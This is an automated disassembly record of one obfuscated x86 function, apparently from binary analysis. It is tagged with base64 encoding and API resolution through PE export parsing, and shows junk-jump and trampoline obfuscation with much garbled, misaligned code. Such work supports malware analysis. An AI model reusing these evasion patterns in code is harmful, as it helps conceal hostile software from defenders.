Function at 0x44f2a7
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
lea edi, [esi + 8]
clc
cld
jmp 0x44d1c2
jne 0x44e8f8
clc
cld
jmp 0x44d1f8
jae 0x44dc8f
push ebx
hlt
pop ecx
clc
cld
jmp 0x44d2a7
jae 0x44f575
inc edx
outsd dx, dword [esi]
add byte [eax], al
and eax, 0xb4004d00
lds ebx, [ecx]
dec esi
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add dl, bl
daa
ret
xchg edi, eax
clc
cld
jmp 0x44d2e3
jae 0x44d807
fstp dword [edi + 0xd93300]
add byte [ebx], bh
dec esp
add byte [edi + 0x42], dh
push ss
inc eax
inc eax
inc eax
add byte [esp + ebp*2 + 0x6c], ch
add byte [esi], cl
mov ebp, 0x51284589
mov ecx, 0x40590b
xchg dword [esp], ecx
ret
add esi, ebx
push ecx
mov ecx, 0x404085
xchg dword [esp], ecx
ret
add ecx, 3
clc
cld
jmp 0x44d356
jae 0x44eef8
add byte [eax], al
add byte [eax], al
test eax, 0x6f4e190c
add byte [esi], bh
salc
dec ebp
or eax, 0x12
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44fa0e
inc edi
clc
cld
jmp 0x44d389
jae 0x44e31b
add byte [eax], al
push ebx
add byte [esi - 0x3b], al
invalid
add esi, 0xe6
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e192
jmp 0x44ffcd
popal
clc
cld
jmp 0x44d4e6
pop esi
clc
cld
jmp 0x44d4ff
jae 0x450734
sal dword [ecx - 0x70358a7], 1
inc edi
add byte [eax], al
outsd dx, dword [esi]
add byte [eax + 0x55905125], ah
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4514f8
rep stosd dword es:[edi], eax
clc
cld
jmp 0x44d532
jae 0x44f88d
inc esi
xlatb
mov edi, 0xbb000000
add byte [ecx], bl
add byte [edi + 0xf], cl
and byte [esi + 0x17], 0
add byte [eax - 0x361374ab], dl
jb 0x44ecb0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44eb6c
mov ecx, dword [ecx + 0x54]
clc
cld
jmp 0x44d5b3
shr eax, 8
clc
cld
jmp 0x44d5cc
jae 0x45142a
add byte [eax], al
invalid
jmp 0x44e124
pop edi
clc
cld
jmp 0x44d648
jae 0x44d4f9
add byte [eax], al
sbb al, 0
outsd dx, dword [esi]
add byte [ecx], al
outsd dx, dword [esi]
rol dword [eax], 1
inc esi
add byte [ecx], bh
imul ecx, ecx, 0x28
clc
cld
jmp 0x44d663
jae 0x44f322
add byte [ecx + 0x76f84aa0], al
add byte [esi], dh
inc edi
scasb al, byte es:[edi]
dec eax
dec eax
dec eax
add byte [ebx + edx*8 - 0x77], bl
sub dword [eax - 0x8000000], 0xebfcf3
jae 0x45157f
add byte [eax], al
ltr bx
std
add byte [eax + 0x68], ch
add byte [eax], al
invalid
je 0x451111
clc
cld
jmp 0x44d6d5
jae 0x44f4d7
mov al, byte [0x4d1c0000]
add cl, ch
mov esp, 0x5590532f
push ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450c97
stosb byte es:[edi], al
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ddb8
jmp 0x44f161
push ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e48e
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d65b
shr ecx, 2
clc
cld
jmp 0x44d85d
jae 0x44e3e6
mov al, byte [0x590000ab]
add byte [eax], al
hlt
mov dword [edi - 0x10], eax
push ecx
mov ecx, 0x407b69
xchg dword [esp], ecx
ret
popal
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f809
mov ebx, eax
clc
cld
jmp 0x44d9e6
jae 0x44e9c6
push ebx
sbb dword [eax], eax
test eax, 0xabdb00
add byte [eax], al
add byte [edi + 0x2c], cl
and byte [ecx - 0x47], dl
outsd dx, dword [esi]
dec edx
inc eax
add byte [edi + 0xc3240c], al
push cs
add byte [eax], al
sub eax, 0xfc4d00cc
hlt
sub al, 0x20
push ecx
mov ecx, 0x404a6f
xchg dword [esp], ecx
ret
xor eax, 0xc944c471
clc
cld
jmp 0x44da1d
jae 0x45003c
imul ecx, eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e44c
cld
clc
cld
jmp 0x44da51
jae 0x44e6d7
add byte [eax], al
cld
cmpsd dword [esi], dword es:[edi]
add byte [ebx - 0x25], dl
sbb edx, edi
mov al, byte [0xfefd1b4]
test byte [esi + 0x12], al
add byte [eax], al
je 0x44ecb0
clc
cld
jmp 0x44da6f
jae 0x44f309
sbb dword es:[edi - 0x4f], esp
add byte [esi - 0x7f], dh
or byte [eax], cl
add byte [eax], al
push 0x74000068
xchg esp, eax
push 0x3000068
mov dword [esp + 0x40], eax
clc
cld
jmp 0x44da94
jae 0x450805
inc esi
add byte [eax], al
or eax, 0x260000f4
pop ecx
cmp ecx, ebx
call 0xec41cea2
add byte [edi], cl
sub ebp, 0xb
add byte [eax], al
fld1
clc
cld
jmp 0x44daab
jae 0x44e69e
add byte [eax], al
sub eax, 0xdb000000
or eax, 0x10f45a00
xor eax, 0xf824758b
mov esi, dword [ebp + 0x24]
clc
cld
jmp 0x44dac6
jae 0x44de76
mov al, byte [0xbb00cc00]
scasd eax, dword es:[edi]
push ebx
pop ecx
add byte [ecx - 0x3b], bl
mov edi, dword [edi + 0x14]
clc
cld
jmp 0x44dadf
jae 0x44f3f2
mov ecx, dword [edi + 4]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44fc4b
mov esi, edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450627
mov ecx, eax
clc
cld
jmp 0x44db63
jae 0x44fc7e
add byte [eax], al
invalid
pop ecx
clc
cld
jmp 0x44db7b
jae 0x44d610
inc esi
pop edx
fstp xword [ebx]
jmp 0x4586f1
stosb byte es:[edi], al
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d5c4
pop edi
clc
cld
jmp 0x44dbfb
jae 0x450022
mov cl, 0
sbb dword [eax], eax
dec esp
mov ebx, 0x2d00dbc5
add byte [ecx], al
sub eax, dword [ebx]
pop ebx
cmp al, 0xf8
cld
jmp 0x44dc16
jae 0x44dd66
pop edx
add byte [eax], al
push ebx
add dl, ah
add byte [eax], al
add ch, bh
in eax, dx
push 0x40
push ecx
mov ecx, 0x407d2e
xchg dword [esp], ecx
ret
add byte [eax], al
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add ch, al
lds eax, [ecx + 0xfd0000]
std
add eax, 2
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450aed
push esp
clc
cld
jmp 0x44dc60
jae 0x451270
mov ah, 0x19
add cl, bl
add ah, dh
add byte [esi - 0x60], dh
sbb dword [esi], ecx
mov ah, 0xe3
push ebx
push ecx
mov ecx, 0x404abb
xchg dword [esp], ecx
ret
add edi, 0x19
clc
cld
jmp 0x44dc97
jae 0x451340
add ch, bh
cli
cli
add byte [0xbb004200], cl
stosb byte es:[edi], al
sal byte [ecx - 0x7f], 0x34
and al, 0x83
push esp
ja 0x44dc33
xor dword [esp], 0x82775483
clc
cld
jmp 0x44dcb6
jae 0x44e75c
add bl, bl
cmp eax, edi
ja 0x44dd04
push ds
pop ecx
cmp word [esi + 4], 0x6f72
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44de0a
add ecx, dword [ecx + 0x3c]
clc
cld
jmp 0x44dce5
jae 0x44fa8d
clc
add cl, bl
xlatb
add byte [eax], al
add byte [eax], al
add byte [eax], al
aad 0x8b
rcl byte [ecx - 0x47], 0x3d
push ebp
inc eax
add byte [edi + 0xc3240c], al
add cl, dl
add byte [eax], al
add byte [eax], al
dec esp
dec esp
cli
mov eax, eax
push ecx
mov ecx, 0x40553d
xchg dword [esp], ecx
ret
rol dword [eax], 1
add byte [eax], al
add byte [esp + ecx*2 - 6], cl
add byte [eax], al
xor ebx, ecx
call 0x4ea09666
inc eax
add byte [edi + 0xc3240c], al
add byte [eax], al
add byte [esi], cl
invalid
test edx, edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450250
push dword [ebp]
clc
cld
jmp 0x44dd6e
jae 0x44e6f0
outsd dx, dword [esi]
add byte [eax], al
dec esp
dec ebp
push ebx
push cs
add byte [ecx - 0x42b16da6], dh
fistp dword [esp]
clc
cld
jmp 0x44dd89
jae 0x44fb0f
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f842
shr eax, 8
clc
cld
jmp 0x44ddc0
jae 0x44d383
test eax, 0xd05301db
add byte [ebx], bh
cld
or eax, 0x5de89900
push es
add byte [eax], al
call 0x44e433
clc
cld
jmp 0x44dddb
jae 0x451645
jbe 0x44de16
add byte [0x59a7b1a0], cl
mov al, byte [0x4c4cb8]
add bl, ah
jne 0x44f01a
clc
cld
jmp 0x44ddfb
jae 0x44f1b1
pop ecx
add byte [ecx - 0x51], bl
invalid
jne 0x44f161
clc
cld
jmp 0x44de15
jae 0x450a33
sbb dword [eax], 0x2c
add byte [eax], al
scasd eax, dword es:[edi]
inc esi
add byte [eax], al
add byte [eax], al
add al, ch
dec dword [ecx - 0x70]
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d6ca
pushal
clc
cld
jmp 0x44de45
jae 0x45060e
add byte [ebx + 0x4a], dl
sbb al, 0xc7
mov al, byte [0x42d91946]
inc ebx
sal dword [eax + ebp*2 + 0xf006868], 1
xchg ecx, eax
clc
cld
jmp 0x44de63
jae 0x44eea0
add bl, bl
ja 0x44de6d
cld
hlt
add esi, dword [esi + 0x3c]
clc
cld
jmp 0x44de7e
jae 0x4515fa
jne 0x44deb9
clc
cld
jmp 0x44de9a
jae 0x44ef97
loop 0x44dea2
add byte [eax], al
add byte [ecx], ch
cmp eax, 0xf83c498b
mov ecx, dword [ecx + 0x3c]
clc
cld
jmp 0x44deb3
jae 0x44ffcd
dec esp
add al, bh
dec edx
sub eax, 0x460e4300
sbb esp, ebx
add eax, 0xe2b9515f
inc ebx
inc eax
add byte [edi - 0x503cdbf4], al
xlatb
add byte [esi], cl
add byte [eax], al
add byte [edi - 0x24a6be00], ah
add byte [esi - 0x7c362788], ch
aas
adc byte [eax - 0x361374ab], dl
cmp dword [edi], 0x10
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4505f4
xor eax, eax
push ecx
mov ecx, 0x403e26
xchg dword [esp], ecx
ret
add edx, ecx
clc
cld
jmp 0x44df36
jae 0x44f4a1
rcr dword [ecx], 1
add cl, ch
sbb dword [edi - 0x57], ebp
test eax, 0x53a0ec00
push ecx
push ecx
mov ecx, 0x4056fe
xchg dword [esp], ecx
ret
ror edi, 0xd
push ecx
mov ecx, 0x406229
xchg dword [esp], ecx
ret
push ecx
clc
cld
jmp 0x44dfd0
jae 0x450c7e
add byte [ecx - 0x4effa5ba], ch
sub eax, 0x3bc5766f
or eax, 0x5794e0d0
mov ecx, 0x636f
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44fe3e
test eax, 0x80000000
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ddf0
add esi, 3
push ecx
mov ecx, 0x407e16
xchg dword [esp], ecx
ret
add ecx, 3
push ecx
mov ecx, 0x407166
xchg dword [esp], ecx
ret
mov eax, dword [esp + 4]
push ecx
mov ecx, 0x40469a
xchg dword [esp], ecx
ret
inc esi
push ecx
mov ecx, 0x405bc6
xchg dword [esp], ecx
ret
xor eax, eax
clc
cld
jmp 0x44e10d
jae 0x4513d8
lds esi, [edx]
add byte [eax], al
jbe 0x44e115
add ch, bh
jne 0x44e172
dec esp
add byte [ebx], bh
test eax, 0xd6fcf8d7
sub dl, 0x81
test ecx, ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e1ab
jp 0x44e1ca
outsb dx, byte [esi]
cmp dh, dh
xor dword [ebp - 0x75], edx
in al, dx
cmp al, 0
jg 0x44e10f
add byte [0x30aaad], ah
cmpsd dword [esi], dword es:[edi]
mov esi, 0x4c2e00
add byte [0x9a00d966], dl
jnp 0x44e1c6
xor ebx, ebx
clc
cld
jmp 0x44e199
invalid
jae 0x44e804
add byte [ebx + 0x42a70000], bh
jmp 0xb03cefd0
je 0x44d3e7
clc
cld
jmp 0x44e1b6
jae 0x451443
test eax, 0x810053
int3
mul byte [ecx - 1]
jne 0x44e1ef
push dword [ebp + 0x24]
and al, 0x51
push ecx
mov ecx, 0x407b15
xchg dword [esp], ecx
ret
push ecx
clc
cld
jmp 0x44e1e8
jae 0x44ed97
ja 0x44e1f0
add byte [ebx], bh
dec esp
dec esi
xlatb
cmp ecx, dword [esi + ecx*2 - 0x29]
add byte [ecx], bl
add ch, bh
sub ebp, 0xf3f8706a
cld
jmp 0x44e202
jae 0x44f4ba
jbe 0x44e20a
add byte [edx], bl
add byte [esi - 0x7f], al
outsd dx, dword [esi]
add ch, bh
xchg esi, eax
fist word [ecx + edx*2 - 0x47]
push cs
inc edx
inc eax
add byte [edi + 0xc3240c], al
mov dword [eax], 0x77000026
cmp eax, dword [eax]
add byte [eax], al
outsd dx, dword [esi]
pop ecx
daa
add edi, dword [edi + 0x3c]
clc
cld
jmp 0x44e236
mov ebx, dword [esi + 0xc]
clc
cld
jmp 0x44e285
jae 0x450e2a
and eax, 0x4200002d
add byte [ebp + 0x4e], cl
add byte [eax], al
cdq
push ebp
mov ebp, esp
push 0xffffffffffffff9b
pop eax
add dh, ah
pop ss
cmp dword [ebx + 0x67000000], ebp
mov edx, 0x61006639
xor dword [edx], ebp
add byte [ecx], dl
jns 0x44e301
push ecx
mov ecx, 0x406d29
xchg dword [esp], ecx
ret
wait
clc
cld
jmp 0x44e2ea
jae 0x44fa5b
add ecx, 0xb
clc
cld
jmp 0x44e309
jae 0x44f3a6
stosb byte es:[edi], al
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e61e
push edi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45162c
test ecx, ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4504a4
div ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44dd32
rep movsd dword es:[edi], dword [esi]
clc
cld
jmp 0x44e3ed
jae 0x44f9a8
mov cl, 0
add byte [edi + 0x26006f00], ah
inc edi
ja 0x44e3fe
inc dword [ebx + 0x559000f8]
mov ebp, esp
leave
nop
jmp 0x450674
push esi
clc
cld
jmp 0x44e452
jae 0x44f613
psubsw mm3, qword [edx]
add byte [eax], al
or eax, 0x426f0100
test eax, 0x6c6c6c
retf 0xf41
fld1
clc
cld
jmp 0x44e495
jae 0x44d512
inc esi
add byte [eax], al
add byte [edi], al
add byte [eax], al
std
add cl, ch
iretd
jne 0x44d855
clc
cld
jmp 0x44e4cb
jae 0x44f67a
add byte [esi], cl
outsd dx, dword [esi]
add byte [edx], bl
sbb al, 0xc6
and dl, 0x93
push ecx
mov ecx, 0x404135
xchg dword [esp], ecx
ret
lea edx, [edx + esi]
clc
cld
jmp 0x44e4fc
jae 0x44df2f
add byte [eax], al
add byte [0x47000047], ah
add byte [edx - 0x2e], cl
add byte [eax], al
add byte [eax], al
std
test eax, eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45050d
wait
push ecx
mov ecx, 0x405644
xchg dword [esp], ecx
ret
mov esi, dword [ebx + 0x3c]
push ecx
mov ecx, 0x40583f
xchg dword [esp], ecx
ret
shr eax, 8
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ed4c
add edi, dword [eax + 0x3c]
clc
cld
jmp 0x44e640
jae 0x44ff80
cli
add byte [eax], al
add byte [ebp - 0x45], dh
test eax, 0x750f00e9
mov eax, dword [ebp + 0x14]
clc
cld
jmp 0x44e659
jae 0x44f925
push cs
cmp eax, dword [eax]
std
jbe 0x44e6cc
outsd dx, dword [esi]
add byte [edi + 0x341ae00], ch
jge 0x44e692
clc
cld
jmp 0x44e673
jae 0x44faa6
add byte [eax], al
add byte [eax], al
push ebx
add byte [ecx - 0x12ffcab3], dh
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ffff
jbe 0x44e694
push ebx
fcomi st(4)
stosd dword es:[edi], eax
jmp 0xda7fe79a
push ecx
clc
cld
jmp 0x44e6a4
jae 0x44f62c
add byte [ecx + 0x3b], bl
fisttp dword [ebp + 0x76db0000]
add cl, ch
dec eax
dec eax
dec eax
add byte [esi - 0x44], bl
lodsb al, byte [esi]
loope 0x44e710
push ecx
clc
cld
jmp 0x44e6c4
jae 0x44dd81
sub eax, 0xc5fd00
std
lds eax, [eax]
add bl, bl
add byte [eax], al
add byte [edi + 0xc], ch
sub dword [eax - 0x74aa6fb0], esi
in al, dx
mov al, 0x50
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44e8f8
push 0x40
push ecx
mov ecx, 0x406bbc
xchg dword [esp], ecx
ret
push ecx
clc
cld
jmp 0x44e710
jae 0x450cc9
test eax, 0x81a90000
add al, bh
add byte [eax], al
add byte [0x8080833], ch
add bl, ch
xor edx, edx
clc
cld
jmp 0x44e72e
jae 0x4500e8
add dword [edi - 0x60], 0x260c3b
mov al, byte [0xe500fd00]
push eax
clc
cld
jmp 0x44e746
jae 0x44dfca
jbe 0x44e74e
add byte [eax], al
add byte [edi + 0xc700], bl
add byte [edx + edx + 0x542f42e2], dh
push esp
push ecx
mov ecx, 0x4070b0
xchg dword [esp], ecx
ret
mov ecx, 0xc010
clc
cld
jmp 0x44e80e
jae 0x44ea9a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [0x4444], dh
mov eax, 0x51f12a8e
push ecx
clc
cld
jmp 0x44e82a
jae 0x4506f8
inc esi
add byte [eax + eax], cl
dec esi
fnstcw word [ebx]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
add dl, bh
inc esp
inc esp
inc esp
add al, dl
invalid
add edi, ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44fce8
mov edx, dword [edi + 0xc]
clc
cld
jmp 0x44e8b1
jae 0x44dad7
sldt word es:[eax]
mov ebx, 0x4c3b00
cld
hlt
pop ecx
push ecx
mov ecx, 0x406d10
xchg dword [esp], ecx
ret
repne scasb al, byte es:[edi]
clc
cld
jmp 0x44e8ff
jae 0x44e368
int3
popal
clc
cld
jmp 0x44e965
xor eax, eax
clc
cld
jmp 0x44e981
jae 0x44d52b
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax], al
add byte [edx - 0x4c], al
emms
add cl, cl
push dword [edx + 0x50]
clc
cld
jmp 0x44e99b
jae 0x44e1c8
cmovle ebx, ebx
mov ebx, 0x4e590000
add byte [ecx + 0x4e], bl
pop ecx
add bh, bh
push eax
clc
cld
jmp 0x44e9b2
jae 0x44dc5a
sbb al, 0
pop ecx
add byte [ecx + edx*8 + 0xdb0d46], dh
add byte [eax], al
movsb byte es:[edi], byte [esi]
int1
mov eax, dword [edi]
clc
cld
jmp 0x44e9cd
jae 0x44e01c
pop edx
jbe 0x44e9a6
stosd dword es:[edi], eax
add byte [eax], al
pop ecx
pop ecx
add byte [edi - 0x28], ch
rol byte [edx - 9], cl
pop ebp
clc
cld
jmp 0x44e9e8
jae 0x44d642
sal ah, 1
mov ah, 0
add byte [edi], al
sbb esp, edi
dec esi
add byte [edi - 0x2c], al
mov al, byte [0xf77592f2]
sar al, 1
cld
jmp 0x44ea06
jae 0x4508ee
sbb dword [ecx - 0x55], 0xb1fc00
push cs
add byte [eax], al
add byte [edi - 0x7f], ah
invalid
add esi, 0x17e0
clc
cld
jmp 0x44ea23
jae 0x44ff10
add byte [bx + si], al
push cs
add byte es:[eax], al
lea edx, [eax - 8]
push eax
clc
cld
jmp 0x44ea37
jae 0x44e1e2
add dword [ecx + 0x47000c00], esi
sbb dword [edi + 0x75], esp
mov ah, 0x59
dec esp
clc
push cs
mov byte [edx - 0x6f35c48b], cl
cmp ecx, edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45081f
xor eax, eax
push ecx
mov ecx, 0x404c66
xchg dword [esp], ecx
ret
movsx eax, word [ecx + 0x14]
clc
cld
jmp 0x44ead7
jae 0x44edb1
call 0x44e433
clc
cld
jmp 0x44eb0a
jae 0x44db5c
mov ebx, 0xd9001947
add byte [edi], cl
push ds
in al, 0xa3
push 0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ec0b
xor edx, edx
push ecx
mov ecx, 0x403ec1
xchg dword [esp], ecx
ret
pop esi
clc
cld
jmp 0x44eb8b
jae 0x450cff
jne 0x44ebec
add byte [edx], bl
stosd dword es:[edi], eax
add dl, bh
mov ebx, 0xeb00cc00
mov ecx, 0x13e7
clc
cld
jmp 0x44eba8
jae 0x44efb1
add byte [esp], ah
and al, 0
push ecx
push 0x40
clc
cld
jmp 0x44ebf9
jae 0x44e993
scasd eax, dword es:[edi]
inc esi
and eax, 0x250f00
add byte [edi + ebx*4], cl
test eax, 0xb951502d
mov al, 0x62
inc eax
add byte [edi - 0x33cdbf4], al
fild dword [eax]
sal byte [edi], 1
jbe 0x44ec1e
push eax
push ecx
mov ecx, 0x4062b0
xchg dword [esp], ecx
ret
cli
cld
sbb dword [eax], eax
cmp ebp, ecx
mov eax, 0x123a6781
clc
cld
jmp 0x44ec2e
jae 0x4507b8
sbb al, 0xd0
mov al, byte [pe_dos_header]
add byte [eax], al
add byte [eax], al
add byte [ecx], bl
pop ecx
clc
cld
jmp 0x44ec47
jae 0x44eedf
add byte [ecx], bl
jbe 0x44ec5e
add byte [eax + eax - 0xc], cl
rol byte [eax], 1
add byte [edx - 0x1b], bh
pop ecx
push ecx
mov ecx, 0x404e0d
xchg dword [esp], ecx
or eax, 0x8700404e
or al, 0x24
ret
mov ebx, eax
clc
cld
jmp 0x44ec80
jae 0x45048b
add byte [ecx + ebp*4], cl
sbb al, 0xd0
add byte [ecx - 0x17], bl
xor esi, dword [esp + ecx*2 + 0x6868]
int 3
jmp 0x44ecea
dec ecx
push ecx
mov ecx, 0x40449d
xchg dword [esp], ecx
ret
xor dword [esp], eax
push ecx
mov ecx, 0x4041bd
xchg dword [esp], ecx
ret
push ecx
clc
cld
jmp 0x44ecec
jae 0x44f55a
mov ah, 0
inc esi
add ch, al
cld
add byte [ebp - 0x17], dh
jbe 0x44ed32
add byte [ebx + 0x2b], ah
inc esp
xor dword [eax], ebp
sub eax, dword [ecx + esi + 0x28]
clc
cld
jmp 0x44ed08
jae 0x44f205
push ebx
push ecx
mov ecx, 0x404395
xchg dword [esp], ecx
ret
inc ebx
mov esi, dword [esi + ebx + 0x78]
push ecx
mov ecx, 0x40728b
xchg dword [esp], ecx
ret
inc edi
clc
cld
jmp 0x44ed52
jae 0x44dba7
add dword [eax], eax
xlatb
xor eax, dword [eax]
add byte [ebx], dh
add byte [edi - 0x4c], ch
add byte [eax], al
insd dword es:[edi], dx
push 0x1388
clc
cld
jmp 0x44ed6f
jae 0x4502ef
push ebx
hlt
push esi
clc
cld
jmp 0x44ed9d
jae 0x44e336
add byte [eax], al
add byte [ecx + 0x53b400fd], ch
add byte [eax], al
inc edx
add byte [esi], ah
xchg ecx, eax
add eax, 0x18
clc
cld
jmp 0x44edb9
jae 0x44d5ab
push ebx
std
cli
push cs
inc edx
add byte [eax], al
xlatb
xor dword [ebx], 0x9bfda83a
wait
push ecx
mov ecx, 0x406243
xchg dword [esp], ecx
ret
mov edx, dword [edx]
push ecx
mov ecx, 0x406dc3
xchg dword [esp], ecx
ret
mov ecx, ebx
clc
cld
jmp 0x44ee5c
jae 0x44f23d
add byte [eax], al
add byte [eax + eax + 0xf800], dh
push cs
inc esi
jno 0x44ee9a
sub eax, ecx
clc
cld
sar eax, 0xf3
cld
jmp 0x44ee75
jae 0x44da13
add byte [0xc7], dh
sbb esp, esi
add byte [eax], al
add byte [ebx], bl
mov esi, ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ee55
or eax, 0x2600
sub ebx, eax
clc
cld
jmp 0x44eea6
ret
jae fcn.0044e3cd
sar eax, 1
add byte [eax], al
stosd dword es:[edi], eax
add byte [eax], al
cmp ebx, ecx
dec edx
xlatb
dec esp
and ah, byte [edx + 0x6c6c6c]
dec esp
dec esp
dec esp
add byte [ebx + 0x5b], dh
push ecx
mov ecx, 0x405be3
xchg dword [esp], ecx
ret
add ecx, dword [ebx + 0x3c]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44deab
call fcn.0044e3cd
clc
cld
jmp 0x44ef02
jae 0x44d9df
mov ah, 0x19
pop ecx
fild dword [eax]
and eax, 0xff4a5300
jl 0x44df63
clc
cld
jmp 0x44ef1d
jae 0x44d9f8
add byte [ecx + 0x7600], al
add bh, ah
push ebx
clc
cld
jmp 0x44ef31
jae 0x44ec79
invalid
call 0x450dc4
clc
cld
jmp 0x44ef87
jae 0x44e09f
add byte [esi + 0xe], dh
add byte [eax], al
mov ah, 0x4e
invalid
push esi
push ecx
mov ecx, 0x4050f6
xchg dword [esp], ecx
ret
sub eax, 0x80000000
clc
cld
jmp 0x44f024
jae 0x450ce6
test eax, 0x3b
hlt
mov ecx, eax
clc
cld
jmp 0x44f056
jae 0x44f85b
dec esp
test eax, 0xfc7600db
inc ebx
inc edx
add byte [eax + 0x4ce63600], ah
dec esp
add byte [eax], al
sbb byte [ebx + 0x49], cl
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x451193
add esi, dword [ebp + 0x24]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f449
inc edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44eb85
mov ecx, dword [esi + 0x3c]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ecff
add eax, dword [ebp + 0x24]
clc
cld
jmp 0x44f1b9
jae 0x44dc40
mov al, byte [0x9f00db]
add dword [eax], 0xe0d70081
mov dh, 0x8f
mov ecx, dword [ecx + 0x3c]
clc
cld
jmp 0x44f1d4
jae 0x451359
add byte [ecx - 0xc000000], al
add byte [eax], al
add byte [eax], al
arpl cx, ax
jmp 0xdffe42ed
wait
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x45019f
add ecx, dword [ecx + 0x3c]
clc
cld
jmp 0x44f245
jae 0x450d3b
add byte [ecx], bl
sbb al, 0
xor eax, 0xfd000100
scasb al, byte es:[edi]
ja 0x44f254
push ecx
mov ecx, 0x4081f5
xchg dword [esp], ecx
ret
mov eax, 0x30
clc
cld
jmp 0x44f27a
jae 0x45159c
scasd eax, dword es:[edi]
add ch, bh
pop ecx
jne 0x44f286
add byte [eax], al
int3
rep movsb byte es:[edi], byte [esi]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450e43
mov esi, 0x4e455248
clc
cld
jmp 0x44f2c8
jae 0x450b55
add byte [eax], al
or eax, 0xd71c76
add ch, bh
add esi, dword [ecx + esi + 0x28]
push ecx
mov ecx, 0x404aa2
xchg dword [esp], ecx
ret
fld1
push ecx
mov ecx, 0x40801e
xchg dword [esp], ecx
ret
cmp ebx, 0x1000
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44d544
add di, word [edi + 0x14]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44f47d
mov eax, 0x123a6781
clc
cld
jmp 0x44f35f
jae 0x44eccd
add byte [0xa0335959], dh
add byte [eax], al
lahf
mov edi, eax
clc
cld
jmp 0x44f375
jae 0x450edc
pop ecx
inc esi
outsd dx, dword [esi]
inc ebx
add al, dl
test eax, 0xbba0
pushal
pushal
pushal
add byte [edx], dh
sub bh, byte [0x633e8166]
inc ecx
clc
cld
jmp 0x44f397
jae 0x450972
test eax, 0xab000000
mov ebx, 0xe89ddbbb
and dh, al
invalid
jne 0x450a83
clc
cld
jmp 0x44f43b
jae 0x44fc64
dec esi
add byte [0xf40000], dh
or eax, dword [ebx - 0x6fffef82]
cmp dword [esi + 0x10], 0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x450236
add edi, 0x18
clc
cld
jmp 0x44f485
jae 0x450072
dec ebp
sbb dword [0xc55353], ebp
ja 0x44f494
add byte [esp + 0x64], dh
add byte fs:[eax + edi*2 - 0x92f8164], dh
invalid
mov esi, dword [ecx + 0x14]
clc
cld
jmp 0x44f4a9
jae 0x44fe21
rcr byte [ecx - 0x34], 1
and eax, 0x42f40e81
int3
push 0x65656c53
clc
cld
jmp 0x44f4c4
jae 0x44e842
test al, 0x37
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4501eb
lodsb al, byte [esi]
clc
cld
jmp 0x44f52a
jae 0x450381
add byte [ebp], cl
outsd dx, dword [esi]
add byte [ebx], bh
xlatb
add byte [edi + 0x4c77f800], bl
dec esp
dec esp
add bh, cl
mov eax, ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x44ddd1
mov edx, eax
push ecx
mov ecx, 0x405d63
xchg dword [esp], ecx
ret
stosd dword es:[edi], eax
xor eax, dword [eax]
loop 0x44f5b3
add byte [edi], al
vpsubsb xmm6, xmm4, xmmword [edx]
fistp dword [eax - 8]
pop eax
clc
cld
jmp 0x44f57b
jae 0x450f2a
add byte [eax], al
add ah, bh
shr dword [ecx - 0xbac5f08], 1
stosd dword es:[edi], eax
inc edi
inc ebx
xchg ecx, ecx
clc
cld
jmp 0x44f595
jae 0x4508a1
add byte [eax], al
add al, dl
loop 0x44f568
invalid
sbb dword [eax + 0x19], 0
add byte [eax], al
lahf
inc edx
add byte [eax], al
std
add bh, al
pop ecx
push ecx
mov ecx, 0x40565e
xchg dword [esp], ecx
ret
shl edx, 1
push ecx
mov ecx, 0x404617
xchg dword [esp], ecx
ret
pop ecx
clc
cld
jmp 0x44f619
jae 0x450855
add byte [ebx + 0x4e5300], ch
cmpsd dword [esi], dword es:[edi]
add byte [esi], al
